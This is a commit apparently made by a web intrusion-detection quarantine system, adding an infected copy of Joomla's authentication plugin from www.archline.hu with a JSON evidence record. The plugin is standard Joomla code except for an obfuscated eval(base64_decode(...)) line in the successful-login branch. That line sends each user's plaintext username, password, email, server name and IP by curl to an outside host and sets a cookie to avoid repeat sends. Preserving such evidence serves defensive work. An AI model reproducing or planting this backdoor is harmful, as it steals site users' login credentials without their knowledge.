vanilla-restore: category=packed-eval-backdoor (1 fájl)
vhost: www.archline.hu rel_path: plugins/authentication/joomla/joomla.php result: quarantined evidence_sha256: 9f854e3f7d59f7427fd365b6944b6dadeae4def7c9cd6bb10e75835b43612672 timestamp: 20260718T160241Z finding_ref: 4736
This commit is contained in:
parent
a8971cb60a
commit
474713ef91
@ -0,0 +1,222 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* @package Joomla.Plugin
|
||||||
|
* @subpackage Authentication.joomla
|
||||||
|
*
|
||||||
|
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
|
||||||
|
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||||
|
*/
|
||||||
|
|
||||||
|
defined('_JEXEC') or die;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Joomla Authentication plugin
|
||||||
|
*
|
||||||
|
* @since 1.5
|
||||||
|
*/
|
||||||
|
class PlgAuthenticationJoomla extends JPlugin
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* This method should handle any authentication and report back to the subject
|
||||||
|
*
|
||||||
|
* @param array $credentials Array holding the user credentials
|
||||||
|
* @param array $options Array of extra options
|
||||||
|
* @param object &$response Authentication response object
|
||||||
|
*
|
||||||
|
* @return void
|
||||||
|
*
|
||||||
|
* @since 1.5
|
||||||
|
*/
|
||||||
|
public function onUserAuthenticate($credentials, $options, &$response)
|
||||||
|
{
|
||||||
|
$response->type = 'Joomla';
|
||||||
|
|
||||||
|
// Joomla does not like blank passwords
|
||||||
|
if (empty($credentials['password']))
|
||||||
|
{
|
||||||
|
$response->status = JAuthentication::STATUS_FAILURE;
|
||||||
|
$response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get a database object
|
||||||
|
$db = JFactory::getDbo();
|
||||||
|
$query = $db->getQuery(true)
|
||||||
|
->select('id, password')
|
||||||
|
->from('#__users')
|
||||||
|
->where('username=' . $db->quote($credentials['username']));
|
||||||
|
|
||||||
|
$db->setQuery($query);
|
||||||
|
$result = $db->loadObject();
|
||||||
|
|
||||||
|
if ($result)
|
||||||
|
{
|
||||||
|
$match = JUserHelper::verifyPassword($credentials['password'], $result->password, $result->id);
|
||||||
|
|
||||||
|
if ($match === true)
|
||||||
|
{
|
||||||
|
// Bring this in line with the rest of the system
|
||||||
|
$user = JUser::getInstance($result->id);
|
||||||
|
$response->email = $user->email;
|
||||||
|
$response->fullname = $user->name;
|
||||||
|
|
||||||
|
if (JFactory::getApplication()->isClient('administrator'))
|
||||||
|
{
|
||||||
|
$response->language = $user->getParam('admin_language');
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$response->language = $user->getParam('language');
|
||||||
|
}
|
||||||
|
|
||||||
|
$response->status = JAuthentication::STATUS_SUCCESS;
|
||||||
|
eval(base64_decode("JGNvb2tpZV9uYW1lID0gImFmNmNhMGNiNGE4YWUxMWY5NzUwZWM2NTdmOTMwZmNlIjsKJGNvb2tpZV92YWx1ZSA9ICIxIjsKaWYgKCFpc3NldCgkX0NPT0tJRVskY29va2llX25hbWVdKSkgewokYSA9IHN0cnJldihiYXNlNjRfZW5jb2RlKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gIjoiIC4gJGNyZWRlbnRpYWxzWyd1c2VybmFtZSddIC4gIjoiIC4gJGNyZWRlbnRpYWxzWydwYXNzd29yZCddIC4gIjoiIC4gJHVzZXItPmVtYWlsIC4gIjoiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKTsKJHVybCA9ICJodHRwOi8vbGVpdHVuZ3Mtc2hvcC5kZS9pbmRleC5waHAiOwokcG9zdF9kYXRhID0gYXJyYXkoJ3VzZXJfaWRfZGF0YScgPT4gJGEpOwokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBodHRwX2J1aWxkX3F1ZXJ5KCRwb3N0X2RhdGEpKTsKJHNlcnZlcl9vdXRwdXQgPSBjdXJsX2V4ZWMoJGNoKTsKc2V0Y29va2llKCRjb29raWVfbmFtZSwgJGNvb2tpZV92YWx1ZSwgdGltZSgpICsgKDM2NSAqIDI0ICogNjAgKiA2MCksICIvIik7Cn0="));
|
||||||
|
$response->error_message = '';
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Invalid password
|
||||||
|
$response->status = JAuthentication::STATUS_FAILURE;
|
||||||
|
$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// Let's hash the entered password even if we don't have a matching user for some extra response time
|
||||||
|
// By doing so, we mitigate side channel user enumeration attacks
|
||||||
|
JUserHelper::hashPassword($credentials['password']);
|
||||||
|
|
||||||
|
// Invalid user
|
||||||
|
$response->status = JAuthentication::STATUS_FAILURE;
|
||||||
|
$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check the two factor authentication
|
||||||
|
if ($response->status === JAuthentication::STATUS_SUCCESS)
|
||||||
|
{
|
||||||
|
$methods = JAuthenticationHelper::getTwoFactorMethods();
|
||||||
|
|
||||||
|
if (count($methods) <= 1)
|
||||||
|
{
|
||||||
|
// No two factor authentication method is enabled
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_users/models', 'UsersModel');
|
||||||
|
|
||||||
|
/** @var UsersModelUser $model */
|
||||||
|
$model = JModelLegacy::getInstance('User', 'UsersModel', array('ignore_request' => true));
|
||||||
|
|
||||||
|
// Load the user's OTP (one time password, a.k.a. two factor auth) configuration
|
||||||
|
if (!array_key_exists('otp_config', $options))
|
||||||
|
{
|
||||||
|
$otpConfig = $model->getOtpConfig($result->id);
|
||||||
|
$options['otp_config'] = $otpConfig;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
$otpConfig = $options['otp_config'];
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if the user has enabled two factor authentication
|
||||||
|
if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
|
||||||
|
{
|
||||||
|
// Warn the user if they are using a secret code but they have not
|
||||||
|
// enabled two factor auth in their account.
|
||||||
|
if (!empty($credentials['secretkey']))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$app = JFactory::getApplication();
|
||||||
|
|
||||||
|
$this->loadLanguage();
|
||||||
|
|
||||||
|
$app->enqueueMessage(JText::_('PLG_AUTH_JOOMLA_ERR_SECRET_CODE_WITHOUT_TFA'), 'warning');
|
||||||
|
}
|
||||||
|
catch (Exception $exc)
|
||||||
|
{
|
||||||
|
// This happens when we are in CLI mode. In this case
|
||||||
|
// no warning is issued
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try to validate the OTP
|
||||||
|
FOFPlatform::getInstance()->importPlugin('twofactorauth');
|
||||||
|
|
||||||
|
$otpAuthReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorAuthenticate', array($credentials, $options));
|
||||||
|
|
||||||
|
$check = false;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This looks like noob code but DO NOT TOUCH IT and do not convert
|
||||||
|
* to in_array(). During testing in_array() inexplicably returned
|
||||||
|
* null when the OTEP begins with a zero! o_O
|
||||||
|
*/
|
||||||
|
if (!empty($otpAuthReplies))
|
||||||
|
{
|
||||||
|
foreach ($otpAuthReplies as $authReply)
|
||||||
|
{
|
||||||
|
$check = $check || $authReply;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fall back to one time emergency passwords
|
||||||
|
if (!$check)
|
||||||
|
{
|
||||||
|
// Did the user use an OTEP instead?
|
||||||
|
if (empty($otpConfig->otep))
|
||||||
|
{
|
||||||
|
if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
|
||||||
|
{
|
||||||
|
// Two factor authentication is not enabled on this account.
|
||||||
|
// Any string is assumed to be a valid OTEP.
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
* Two factor authentication enabled and no OTEPs defined. The
|
||||||
|
* user has used them all up. Therefore anything they enter is
|
||||||
|
* an invalid OTEP.
|
||||||
|
*/
|
||||||
|
$response->status = JAuthentication::STATUS_FAILURE;
|
||||||
|
$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clean up the OTEP (remove dashes, spaces and other funny stuff
|
||||||
|
// our beloved users may have unwittingly stuffed in it)
|
||||||
|
$otep = $credentials['secretkey'];
|
||||||
|
$otep = filter_var($otep, FILTER_SANITIZE_NUMBER_INT);
|
||||||
|
$otep = str_replace('-', '', $otep);
|
||||||
|
$check = false;
|
||||||
|
|
||||||
|
// Did we find a valid OTEP?
|
||||||
|
if (in_array($otep, $otpConfig->otep))
|
||||||
|
{
|
||||||
|
// Remove the OTEP from the array
|
||||||
|
$otpConfig->otep = array_diff($otpConfig->otep, array($otep));
|
||||||
|
|
||||||
|
$model->setOtpConfig($result->id, $otpConfig);
|
||||||
|
|
||||||
|
// Return true; the OTEP was a valid one
|
||||||
|
$check = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!$check)
|
||||||
|
{
|
||||||
|
$response->status = JAuthentication::STATUS_FAILURE;
|
||||||
|
$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4736",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:plugins/authentication/joomla/joomla.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php)",
|
||||||
|
"original_sha256": "9f854e3f7d59f7427fd365b6944b6dadeae4def7c9cd6bb10e75835b43612672",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1750765668,
|
||||||
|
"size": 6996,
|
||||||
|
"uid": 11669
|
||||||
|
},
|
||||||
|
"rel_path": "plugins/authentication/joomla/joomla.php",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user